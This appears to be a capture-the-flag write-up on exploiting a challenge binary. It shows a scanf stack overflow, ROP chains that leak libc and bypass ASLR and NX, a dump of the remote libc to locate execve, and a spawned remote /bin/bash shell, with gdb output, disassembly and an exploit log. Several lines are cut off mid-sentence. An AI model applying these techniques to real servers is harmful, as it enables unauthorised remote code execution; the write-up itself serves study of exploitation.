▄▄▄▄▄ ▄▄▄▄▄ ▄▄▄▄▄       │
                                                                           │ █   █ █ █ █   █       │
                                                                           │ █   █ █ █ █▀▀▀▀       │
                                                                           │ █   █   █ █     ▄     │
                                                                           │                 ▄▄▄▄▄ │
                                                                           │                 █   █ │
                                                                           │                 █   █ │
                                                                           │                 █▄▄▄█ │
                                                                           │                 ▄   ▄ │
                                                                           │                 █   █ │
                                                                           │                 █   █ │
                                                                           │                 █▄▄▄█ │
                                                                           │                 ▄▄▄▄▄ │
                                                                           │                   █   │
Dumping libc memory space to bypass ASLR                                   │                   █   │
~ jonaslyk                                                                 └───────────────────█ ──┘
I executed the ELF file in an Ubuntu virtual machine, and was greeted by:

    Shall we play a game?
    0. Hello world
    1. All your base
    2. Months that start with Feb

But all inputs returned the message: "Invalid selection puny human!"

I opened the executable in IDA, and saw that if I entered 42, a different code path would be 

With 42 as input, I got a new message:

    "Well met young skywalker... Your move."

All answers to that would output: "On second thoughts, let's not go there. It is a silly place." 
then the executable exited.

I discovered a stack-based buffer overflow, when scanf read the second input as a string.

Initially I wanted to successfully exploit it locally where I could attach a debugger.
Targeting the remote server would be the next step.

I added the executable to xinetd, connected a debugger to the executable and input a cyclic pattern 
long enough to crash the executable.

    Program received signal SIGSEGV, Segmentation fault.
    0x41396941 in ?? ()

    (gdb) i r
    eax 0x0
    ecx 0xb779f000   
    edx 0xb777f898   
    ebx 0xb777e000   
    esp 0xbfd9fb50   
    ebp 0x38694137      - Offset 263 in the cyclic pattern 
    esi 0x0 0
    edi 0x0 0
    eip 0x41396941      - Offset 267 in the cyclic pattern

    (gdb) x/8xw $esp - 16
    0xbf8264f0: 0x41356941  0x69413669  0x38694137  0x41396941
    0xbf826500: 0x00000000  0xbf82652c  0x080486be  0x080486ad

The executable crashed because the overflow caused EIP to become character 267-271 in the input.
What protections did the executable use?

    jonas@jonas-VirtualBox:~/crash$ ./checksec.sh --file vuln0 
    RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
    Partial RELRO   No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   vuln0

NX is enabled, so it is not possible to just input and execute arbitrary code.
PIE is not enabled, making the executables sections static and known.
RELRO is only partial, so it is possible to modify GOT entries if needed.
Stack canaries are not used.

Let us see which libc functions are available:

    jonas@jonas-VirtualBox:~/crash$ objdump -T vuln0 
    vuln0:     file format elf32-i386
    00000000  w   D  *UND*   00000000              __gmon_start__
    00000000      DF *UND*   00000000  GLIBC_2.0   __libc_start_main
    00000000      DF *UND*   00000000  GLIBC_2.0   fflush
    00000000      DF *UND*   00000000  GLIBC_2.0   printf
    00000000      DF *UND*   00000000  GLIBC_2.7   __isoc99_scanf
    00000000      DF *UND*   00000000  GLIBC_2.0   puts
    0804a020 g    DO .bss    00000004  GLIBC_2.0   stdout
    0804864c g    DO .rodata 00000004  Base        _IO_stdin_used

fflush, printf, scanf and puts- nothing that makes it possible to bypass NX and execute arbitrary 

Is there some gadgets with instructions that are particularly useful for exploitation such 

    root@jonas-VirtualBox:/home# objdump -d exploit|grep -P "f3 a4"\|"60 "\|"61 "
    8048476:    72 e8                   jb     8048460 <__do_global_dtors_aux+0x30>

No, the only result was a false positive because the jb address contains 60 followed by a space.

The executable communicates using stdin and stdout, so I assume the executable gets spawned by a 
daemon when a connection is made on port 1984. The daemon then redirects the executables standard 
streams to the new connections tcp streams.

If I could make the executable launch a shell, the daemon would still redirect the streams, giving 
me the ability to send the shell commands and read the resulting output. It could be done with just
one call to a libc library function, no shellcode required.
To launch a shell, I needed the address of a function that replaces the current process image with 
another executable, such as the exec family of functions(execl,execlp etc.).

I had four ideas that might be able to circumvent the problem:

1. Call execve directly using a system call.
   - Instead of using libc, I could setup the registers with the system call number for execve, and 
     the filename of a shell as argument.
   - Then make EIP point to an executable address containing an "INT 0x80" or SYSENTER instruction.
2. Leak an address in libc, use that as a relative offset.
   - First, make the executable output a pointer to something in the libc memory space.
   - Then locally calculate the distance between the leaked address and the address of the libc 
     function I want to call.
   - It will not work on the remote server if the remote libc is not identical to my local libc 
3. Traverse the link_map
   - The link_map structure is pointed to, from a static known location.
   - Using a leak, I could follow the l_prev/l_next pointers until l_name points to the libc 
   - Then follow the link_map.l_ld pointer to the dynamic section of the library.
   - Iterate the Elf32_Dyn structures, and save the locations of the DT_GNU_HASH, DT_SYMTAB and 
   - Iterate the Elf32_Sym structures in DT_GNU_HASH and lookup the st_name index in the DT_STRTAB.
   - If that contains the name of the function I want to call, use the st_value as an index into 
   - The offset to the function can be read from there.

4. Return to _dl_runtime_resolve
    Libc functions are resolved at runtime by the  _dl_runtime_resolve libc function, pointed to by 
    an entry in the GOT table.
    The _dl_runtime_resolve function takes a pointer to the link_map and an index into the 
     relocation table as arguments.
    Then, by parsing the link_map structure _dl_runtime_resolve will resolve the function and save 
     the resolved address in the GOT table.
    The identifier of the target function is an index into the relocation table.
    The relocation table have an offset to the function in the symtab. 
    Therefore it can only be used to resolve functions already present in the symtab.
    However, the address of the symtab is cached at a static location in the writeable .bss section.
    If that gets overwritten with a pointer to a fake symtab, it becomes possible to make 
     _dl_runtime_resolve resolve any function I want.
The executable did not contain the needed assembly instructions to do a system call, so the idea of 
using system calls proved to be impossible. I knew the two solutions involving the link_map 
structure would work remotely if locally, unless the server was using some additional security 

The solution depending on a libc function having identical offsets on the server and locally was not
guaranteed to work remotely, though. The amount of work required to implement one was many factors 
less than the others. If it did not work remotely, perhaps I could identify the libc version or the 
Linux distribution and version, and use that to get a copy of the specific libc.
If that also failed, I could always switch that part of the exploit, so I decided to start by making
the exploit work locally, using that approach.

All three approaches requires the ability to leak data at a specific address, so that was the first 
thing that I did. Calling puts or printf with a pointer to what I want to leak, then flushing stdout
will send me the data that it points to. Flushing is necessary because when stdout is redirected to 
a socket stream the data will be cached until stdout is flushed.

The buffer used by scanf(0x08048583) will overflow into the saved return pointer on the stack after 
267 characters. When the RET(0x080485A1) instruction in the play function is executed EIP will 
become character 267-271 in the scanf buffer.
    .text:08048564                 mov     eax, ds:stdout@@GLIBC_2_0
    .text:08048569                 mov     [esp], eax      ; stream
    .text:0804856C                 call    _fflush
    .text:08048571                 mov     eax, offset formatAsString ; "%s"
    .text:08048576                 lea     edx, [ebp+0x118]
    .text:0804857C                 mov     [esp+4], edx
    .text:08048580                 mov     [esp], eax      ; format
    .text:08048583                 call    _scanf
    .text:08048588                 mov     dword ptr [esp], offset s ; "On second thoughts, let's not go there."...
    .text:0804858F                 call    _puts
    .text:08048594                 mov     eax, 0
    .text:08048599                 jmp     short skipSetEax1
    .text:0804859B not42:                                  ; CODE XREF: play+D
    .text:0804859B                 mov     eax, 1
    .text:080485A0 skipSetEax1:                            ; CODE XREF: play+59
    .text:080485A0                 leave
    .text:080485A1                 retn

If the following data is input to the scanf buffer, the data at `LeakAddress` will be sent over the
socket stream:

    'A' * 267
    .RetPointer     [ puts        ] - A pointer to the puts plt entry.
    .RetPointer+4   [ PopRet      ] - A gadget that will remove the argument for the just called function, then continue the ROP chain.
    .RetPointer+8   [ LeakAddress ] - The address to leak
    .RetPointer+12  [ fflush      ] - A pointer to the fflush plt entry.
    .RetPointer+16  [ PopRet      ] - A gadget that will remove the argument for the just called function, then continue the ROP chain.
    .RetPointer+20  [ stdout      ] - A pointer to stdout

There are several problems with this approach though:

1. fflush requires a pointer to stdout, a pointer to stdout is stored at a static known location, 
   but to call fflush that pointer needs to be dereferenced.
2. It is not possible to control how much to leak, it will leak to the next 0x00 byte after the 
3. Addresses containing 0x20,0x09,0x0a,0x0b,0x0c,0x00 or 0x0d cannot be leaked because the ROP chain
   is created using scanf with %s as the format string.

To bypass the problem of getting stdout on the stack the code that calls fflush at 0x08048564 can be
reused. That will increase the complexity though, many instructions will be executed before control
of EIP can be regained.

When the LEAVE instruction is executed EBP will be copied to ESP, EBP will be popped, then RET will 
make EIP = [ESP]. Hence, if the data at EBP + 4 is controlled when RET is executed EIP can be 
controlled. Currently the only controlled data is the scanf buffer but its address is unknown, 
because the stack is randomized. EBP is also used at 0x08048576 - here it is used as the base 
address for the offset for where scanf will store the input. 

That means RET will make EIP = what is stored at: 
  scanf buffer + 0x118(263) + 4 (Because LEAVE also pops EBP).

Since EBP is the base address of the offset for the scanf buffer it is possible to control where the
scanf buffer will be stored by controlling EBP. The debugger showed EBP had the value of the input 
cyclic pattern at offset 263-267, so changing that will change the location of the scanf buffer. By
making the input to scanf large enough, control of ESP and EIP is gained, this bypasses the 
randomization of the stack without requiring a leak.

To launch a shell the filename of the shell executable needs to be provided, that is done with a 
pointer to a string with the filename. Therefore the ability to choose what address the input will 
be stored at will be helpful.

The approach makes it possible to:
    Leak an address
    Input a filename and know where it will be stored
    Create a new stack containing the leaked address and the address of the filename in the stack.
    Make ESP point to the new stack, then execute a RET instruction 

The address to leak, is a pointer to a libc function. The .plt entry for puts is already used, so 
why not reuse that? First the distance between puts and the function to call needs to be calculated.
I have chosen execve:

    (gdb) p execve - puts
    $1 = 329104

The signature of execve is:
    int execve(const char *filename, char *const argv[], char *const envp[]);

The filename will be "/bin/bash", argv[] and envp[] pointers to 0x00000000.
The last thing to do, is deciding where to put the new stack. I chose 0x0804A174 because it was 
writeable, appeared to be unused and was filled with 0x00.
So the attack, starting with the first input to scanf, was executed like this:

'A' * 263                          
.RetPointer-4 [ newStack    ] - This value will end up in EBP, and be used as the base address for the scanf buffer offset.
.RetPointer   [ puts        ] - A pointer to the puts plt entry 
.RetPointer+4 [ 0x08048564  ] - After puts has printed the address, jump to where stdout gets dereferenced and fflush is called  ---------+
.RetPointer+8 [ LeakAddress ] - The address to leak, identical to plt.puts                                                                |
08048564   mov     eax, ds:stdout@@GLIBC_2_0
08048569   mov     [esp], eax
0804856C   call    _fflush                              The leaked address in the buffer will be flushed ---------------------------------------+
08048571   mov     eax, offset formatAsString ; "%s"                                                                                            |
08048576   lea     edx, [ebp-263]                       This will be used to decide where scanf saves the input, EBP is = newStack              |
0804857C   mov     [esp+4], edx                                                                                                                 |
08048580   mov     [esp], eax      ; format                                                                                                     |
08048583   call    _scanf                               Here I input the new stack.---------------------------------------------------------+   |
.....                                                                                                                                       |   |
080485A0   leave                                        ESP = newStack + 267 + 4                                                            |   |
080485A1   retn                                         EIP = [ESP]                                                                         |   |
   +----------------------------------------------------------------------------------------------------------------------------------------+   |
   |                                                                                                                                            |
   |                 +--------------------------------------------------------------------------------------------------------------------------+
   V                 |
'A' * 267            V
.newStack+267 [ leakedAddress + 329104 ] - LeakedAddress + the distance to execve from the leaked plt.puts entry.
.newStack+271 [ retAddr                ] - Return address after execve, it will not be called because execve never returns.
.newStack+275 [ newStack + 287         ] - Pointer to the "/bin/bash" string at newStack + 287 ----+
.newStack+279 [ newStack + 298         ] - A pointer to 0x00000000                                 |
.newStack+283 [ newStack + 298         ] - A pointer to 0x00000000                                 |
.newStack+287 [ /bin                   ] - Shell filename <----------------------------------------+
.newStack+291 [ /bas                   ]   
.newStack+294 [ h                      ]   

After sending the ROP chains, I sent a pwd command and read the returned data to verify that the 
answer was coming from a shell. If the pwd command was successful, I entered a loop, forwarding 
stdin input to the socket stream, then reading from the socket until the read timed out. Thus 
allowing me to control the shell.
    jonas@jonas-VirtualBox:~/crash$ ./netExploit localhost
    [*] Connected to host !
    Shall we play a game?
    0. Hello world
    1. All your base
    2. Months that start with Feb
    Well met young skywalker... Your move.
    Sending payload stage 1:
    > On second thoughts, let's not go there. It is a silly place.
    Payload stage1 successful, retreived leaked got.plt entrys:
    Successfully extracted current address of puts in libc from leaked got.plt data:
    Distance from libc.puts to libc.execve is 329104 (0x50590)
    0xb7e917a0 + 0x50590 = 0xb7ee1d30
    Successfully constructed relative ROP chain, and delivered stage2 payload: 
    Remote shell should be spawned, testing by sending pwd command.
    pwd returned:/
    Remote shell successfully spawned


Now the exploit was working locally, the next step was the remote server. The initial plt entry leak
was successful, but after sending the second ROP chain the connection terminated.

The first byte of the leaked address was identical to my local system, so I had no reason to suspect
the leaked address was wrong. I assumed that the reason the connection terminated, was because the 
executable crashed- but why?

I had 3 suspects that could be the cause of the crash. 
Could some of them be eliminated?

1.  The address I created the fake stack at could not be written to or is not filled with 0x00 bytes.
    - I used the leaked at the address and the adjacent addresses. Every time I got an empty string 
      back, indicating reading is allowed and it contains 0x00 bytes.
    - That does not exclude that the address is not writeable or too small for the input though.
    - Then I made scanf write a value with identical size and afterwards called puts on it- it 
      appeared the data was saved correctly.

2. "/bin/bash" does not exist.
    - I tried different standard linux paths and filenames, but all gave the same result.

3. The distance between the leaked function and execve could be wrong.
   - Instead of calling execve I tried calling the libc function pause. 
   - If the connection did not terminate, I could conclude that the distance between puts and pause 
     was identical to my local libc. 
   - But the connection terminated exactly as before.
   - Then I used the leak, to show me the data where the puts plt entry pointed to.
   - I disassembled the leaked data and found padding and a typical function prologue, but it was 
     not identical to my local libc.

I concluded the reason of the crash was the difference in the libc libraries. I considered 
bruteforcing the execve address- it would be possible, but not very elegant. The remote server's 
puts address did not change when the executable crashed- so I could just keep trying until I got 
the right execve address. I prefer making an exploit that works every time on all systems though, 
or at least would not cause a crash on every failed try.

I could try resolving execve by using _dl_runtime_resolve, or traversing the link_map structure. 
I estimated the traversing method would be the easiest. To do that, I had to solve another problem 
first. I needed a way to input all characters as I was limited by scanf discarding white space 

The chance of link_map containing a pointer, or the _dl_runtime_resolve requiring a fake symtab 
with a white space character is very high. Solving that would also make leaking much less complex
as I would be able to put 0x00000000 on the stack as an argument to fflush, causing all streams to
be flushed, instead of having to deal with dereferencing stdout.

If I made scanf use a format string with %x instead of %s, I could input the hex value for the data
I wanted, thus bypassing that problem. The value has to fit in an integer though, limiting the 
length of the input. To input longer data I decided to make scanf parse the input as multiple hex 
values by using a format string like: "%x%x%x", and store the first value at X, the next at X+4 etc.
Then data can then be input as "01020304 05060708 090A0B0C" and every byte will be stored correctly.

Using that approach I could create a "perfect leak" ROP chain- just calling puts on the address to 
leak does not work well on binary data. I wanted to be able to leak a word being 100% sure of the 
data, but puts will copy from the address provided to stdout, until it reaches an 0x00, then it 
will copy an 0x0A to stdout.

Calling puts on the word 0x0A00000A outputs 0x0A0A and because stdout is line buffered two lines 
would have to be read to empty the buffer. Then it is not possible to know if the first two bytes 
of the leaked data was 0x0A00 or the first three bytes where 0x0A0A00.

Instead, if printf is used with a format string containing a magic stop character like "%s-\n", 
then 0x0A00000A will output "\n-" and 0x0A0A0000 will output "\n\n-" . But that will not work if 
the data contains the magic stop character. Instead I made printf always only return one character, 
followed by a magic stop character.

Then, if I read a line that did not contain the stop character I knew the byte was 0x0A, and I had 
to read one more line to empty the buffer. If I read a line with only the stop character the byte 
was 0x00. This requires four calls to printf to leak one word, but making it happen four times is 
not much harder than one time.

To implement those ideas, I had to store two format strings at known addresses to reference later.
    1. A format string to parse the "perfect leak" ROP chain in hex was needed, it should contain 
       one %x for each word in the ROP chain.
    2. A format string to output one byte, a magic stop character, and a 0x0A. 

I could not input the 0x0A byte if scanf parsed the input as a strings, and there were no format 
string to parse it as a hex value yet. Instead of creating a format string to input the next format
string I decided to parse it as two decimals, I had a "%d" format string.

The attack was executed like this:

'A' * 267                          
.RetPointer     [ scanf          ] - A pointer to the scanf plt entry 
.RetPointer+4   [ popPopRet      ] - A gadget that will move ESP to the next scanf frame and return into the first entry 
.RetPointer+8   [ "%s"           ] - A pointer to "%s" 
.RetPointer+12  [ newLocation    ] - The new stack at a chosen blank writeable address ------------------------------------+
scanf input will be one "%x" for each word in the "perfect leak" ROP chain                                                 | 
.RetPointer+16  [ scanf          ] - A pointer to the scanf plt entry                                                      |
.RetPointer+20  [ popPopRet      ] - A gadget that will move ESP to the next scanf frame and return into the first entry   |
.RetPointer+24  [ "%d"           ] - A pointer to "%d"                                                                     |
.RetPointer+28  [ newLocation+50 ] - The new stack + 50 characters- past the first format string -----------------------+  |
                                                                                                                        |  |
scanf input will be "1932602917"  - "%1.s" in ascii.                                                                    |  |
                                                                                                                        |  |
.RetPointer+32  [ scanf          ] - A pointer to the scanf plt entry                                                   |  |
.RetPointer+36  [ popPopRet      ] - A gadget that will move ESP to the next frame and return into the first entry      |  |
.RetPointer+40  [ "%d"           ] - A pointer to "%d"                                                                  |  |
.RetPointer+44  [ newLocation+54 ] - Right past the previous entry, so the two entries will be adjacent   -----------+  |  |      
                                                                                                                     |  |  |
scanf input will be "666925"  - "--\n" in ascii.                                                                     |  |  |  
                                                                                                                     |  |  |
Now the needed format strings have created the "perfect leak" ROP chain can be input.                                |  |  |
The scanf frame requires many arguments, making it not possible to use a pop gadget to adjust ESP afterwards.        |  |  |
Instead the address I want ESP to become is stored in EBP first, then the return address can be a LEAVE gadget.      |  |  |
By making EBP identical to where the ROP chain will be stored, execution flow will go to the chain, after creation.  |  |  |
                                                                                                                     |  |  |
.RetPointer+48  [ PopEBP         ] - A gadget that wil pop the next entry into EBP                                   |  |  |
.RetPointer+52  [ LeakChain      ] - The address where the leak ROP chain will be stored at -------------------+     |  |  |
                                                                                                               |     |  |  |
.RetPointer+56  [ scanf          ] - A pointer to the scanf plt entry.                                         |     |  |  |
.RetPointer+60  [ Leave          ] - A leave gadget                                                            |     |  |  |
.RetPointer+64  [ newLocation    ] - Where the string of %x is stored, used to parse the ROP chain in hex -+   |     |  |  |
.RetPointer+68  [ LeakChain      ] - The address where the leak ROP chain will be stored at ------+        |   |     |  |  |
.RetPointer+72  [ LeakChain + 4  ]                                                                |        |   |     |  |  |
.RetPointer+76  [ LeakChain + 8  ]                                                                |        |   |     |  |  |
.RetPointer+80  [ LeakChain + 12 ]                                                                |        |   |     |  |  |
.........                                                                                         |        |   |     |  |  |
                                                                                                  |        |   |     |  |  |
scanf input will be the "perfect leak" ROP chain in hex.                                          |        |   |     |  |  |
                                                                                                  |        |   |     |  |  |
                                  +---------------------------------------------------------------|--------+   |     |  |  |
                                  |                                                               |            |     |  |  |
                                  V                                                               |            |     |  |  |
.newLocation     [ "%x%x"        ] <--------------------------------------------------------------|------------|-----|--|--+
.newLocation+4   [ "%x%x"        ]                                                                |            |     |  | 
.newLocation+8   [ "%x%x"        ]                                                                |            |     |  | 
.newLocation+12  [ "%x%x"        ]                                                                |            |     |  |
.......                                                                                           |            |     |  |
.newLocation+46  [0x00000000     ]                                                                |            |     |  |
                                  +---------------------------------------------------------------|------------|--+  |  |     
                                  |                                                               |            |  |  |  |     
                                  V                                                               |            |  |  |  |     
.newLocation+50  ["%1.s"         ] <--------------------------------------------------------------|------------|--|--|--+     
.newLocation+54  ["--\n"         ] <--------------------------------------------------------------|------------|--|--+                
                                                                                                  |            |  |                
 Notice, I decided to use two "-" as magic stop characters.                                       |            |  |                
                                                                                                  |            |  |  
                                  +---------------------------------------------------------------|------------+  |                
                                  |---------------------------------------------------------------+               |                
                                  |                                                                               |                
                                  V                                                                               |                
.LeakChain     [ printf          ] A pointer to the scanf plt entry                                               |                
.LeakChain+4   [ popPopRet       ] A gadget that will move ESP to the next frame and return into the first entry  |                
.LeakChain+8   [ "%1.s--\n"      ] The format string for leaking one byte, previously created --+-----------------+                
.LeakChain+12  [ leakAddress     ] The address to leak                                          |                
.LeakChain+16  [ printf          ]                                                              |                
.LeakChain+20  [ popPopRet       ]                                                              |                
.LeakChain+24  [ "%1.s--\n"      ] -------------------------------------------------------------+                
.LeakChain+28  [ leakAddress + 1 ] The address to leak + 1
And two more identical frames for printing the leakAddress +2 and +3

Now the content at the address to leak is printed, stdout needs to be flushed.

.LeakChain+64  [ fflush          ] A pointer to the fflush plt entry.
.LeakChain+68  [ popRet          ] A gadget that will move ESP to the next frame and return into the first entry. 
.LeakChain+72  [ 0x00000000      ] When fflush gets NULL as an argument all streams are flushed.

Now the leak is complete, but the ROP chain has been destroyed during execution.
A new scanf frame is created and execution flow is transferred to the input- making it possible to 
recreate and execute the leak chain again.

.LeakChain+76  [ scanf           ] A pointer to the scanf plt entry.
.LeakChain+80  [ popPopRet       ] A gadget that will move ESP to the next frame and return into the first entry. 
.LeakChain+84  [ "%s"            ]
.LeakChain+88  [ LeakChain+104   ] Scanf stores the new input after this ROP chain.

.LeakChain+92  [ popEBP          ] Pop where the previous scanf input is -4(Leave also do a pop)
.LeakChain+96  [ LeakChain+100   ]

.LeakChain+100 [ Leave           ] Transfer execution to the new input.

Now the basic building blocks for getting the execve address are in place. Any address can be 
leaked, as many times as needed, making it possible to parse and follow addresses in the link_map 

But I had an alternative idea- instead I could simply dump the entire libc memory segment. Then I 
could identify the execve address, and calculate the distance between that and puts. It is not quite
as "elegant" as parsing the structures, and a lot slower, but it would work and required a lot less 

First, I needed the base address of libc. I knew it would be a multiple of the page size, and it 
would start with \x7fELF.

I took the leaked address of puts, rounded it to a multiply of the page size, leaked the word at the
address and subtracted one page size until I read \x7fELF. Then I started a loop reading one word at
a time, saving it to a local file. It took around 2 days, then the connection terminated. The file 
and its size looked correct, so the connection probably terminated because the executable crashed, 
trying to read beyond libcs boundary.

Now I had to identify execve. I looked at my local execve and saw the instruction "Mov eax, 0b"- 
that was perhaps unique enough to identify the function. I searched the downloaded libc for that 
instruction and got around 10 results and iterated over them. There was one that was very similar 
to my local function:

    LOAD:000B8FA0 sub_B8FA0       proc near               ; CODE XREF: LOAD:0003ED5B
    LOAD:000B8FA0                                         ; sub_B9000+84 ...
    LOAD:000B8FA0 var_8           = dword ptr -8
    LOAD:000B8FA0 var_4           = dword ptr -4
    LOAD:000B8FA0 arg_0           = dword ptr  4
    LOAD:000B8FA0 arg_4           = dword ptr  8
    LOAD:000B8FA0 arg_8           = dword ptr  0Ch
    LOAD:000B8FA0                 sub     esp, 8
    LOAD:000B8FA3                 mov     [esp+8+var_8], ebx
    LOAD:000B8FA6                 mov     edx, [esp+8+arg_8]
    LOAD:000B8FAA                 mov     [esp+8+var_4], edi
    LOAD:000B8FAE                 mov     ecx, [esp+8+arg_4]
    LOAD:000B8FB2                 call    sub_12AC63
    LOAD:000B8FB7                 add     ebx, 0EB03Dh
    LOAD:000B8FBD                 mov     edi, [esp+8+arg_0]
    LOAD:000B8FC1                 xchg    ebx, edi
    LOAD:000B8FC3                 mov     eax, 0Bh
    LOAD:000B8FC8                 call    dword ptr gs:loc_F+1
    LOAD:000B8FCF                 xchg    edi, ebx
    LOAD:000B8FD1                 cmp     eax, 0FFFFF000h
    LOAD:000B8FD6                 ja      short loc_B8FE3
    LOAD:000B8FD8 loc_B8FD8:                              ; CODE XREF: sub_B8FA0+51
    LOAD:000B8FD8                 mov     ebx, [esp+8+var_8]
    LOAD:000B8FDB                 mov     edi, [esp+8+var_4]
    LOAD:000B8FDF                 add     esp, 8
    LOAD:000B8FE2                 retn
    LOAD:000B8FE3 ; ---------------------------------------------------------------------------
    LOAD:000B8FE3 loc_B8FE3:                              ; CODE XREF: sub_B8FA0+36
    LOAD:000B8FE3                 mov     edx, ds:(dword_1A3EFC - 1A3FF4h)[ebx]
    LOAD:000B8FE9                 neg     eax
    LOAD:000B8FEB                 mov     gs:[edx], eax
    LOAD:000B8FEE                 or      eax, 0FFFFFFFFh
    LOAD:000B8FF1                 jmp     short loc_B8FD8
    LOAD:000B8FF1 sub_B8FA0       endp
compared to my local function:
    .text:000B6470                 public execve ; weak
    .text:000B6470 execve          proc near               ; CODE XREF: sub_3FB90+44C
    .text:000B6470                                         ; fexecve+76 ...
    .text:000B6470 arg_0           = dword ptr  4
    .text:000B6470 arg_4           = dword ptr  8
    .text:000B6470 arg_8           = dword ptr  0Ch
    .text:000B6470                 push    edi
    .text:000B6471                 push    ebx
    .text:000B6472                 mov     edx, [esp+8+arg_8]
    .text:000B6476                 call    sub_12722B
    .text:000B647B                 add     ebx, 0F5B85h
    .text:000B6481                 mov     ecx, [esp+8+arg_4]
    .text:000B6485                 mov     edi, [esp+8+arg_0]
    .text:000B6489                 xchg    ebx, edi
    .text:000B648B                 mov     eax, 0Bh
    .text:000B6490                 call    large dword ptr gs:10h
    .text:000B6497                 xchg    edi, ebx
    .text:000B6499                 cmp     eax, 0FFFFF000h
    .text:000B649E                 ja      short loc_B64A3
    .text:000B64A0 loc_B64A0:                              ; CODE XREF: execve+48
    .text:000B64A0                 pop     ebx
    .text:000B64A1                 pop     edi
    .text:000B64A2                 retn
    .text:000B64A3 ; ---------------------------------------------------------------------------
    .text:000B64A3 loc_B64A3:                              ; CODE XREF: execve+2E
    .text:000B64A3                 mov     edx, ds:(errno_ptr - 1AC000h)[ebx]
    .text:000B64A9                 neg     eax
    .text:000B64AB                 mov     ecx, large gs:0
    .text:000B64B2                 mov     [ecx+edx], eax
    .text:000B64B5                 or      eax, 0FFFFFFFFh
    .text:000B64B8                 jmp     short loc_B64A0
    .text:000B64B8 execve          endp

I was pretty sure this was the execve function, so I subtracted the offset of the leaked puts with 
the address of the function. I updated my previous exploit with the the new distance, executed it, 
and got a shell :)